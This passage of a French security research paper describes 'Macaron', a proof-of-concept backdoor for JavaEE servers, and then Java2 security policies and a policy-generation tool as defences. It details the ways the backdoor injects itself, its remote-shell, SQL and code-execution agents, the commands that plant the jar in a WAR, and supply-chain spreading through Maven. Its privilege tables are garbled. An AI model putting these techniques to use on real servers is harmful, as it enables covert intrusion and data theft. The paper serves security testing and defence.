Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

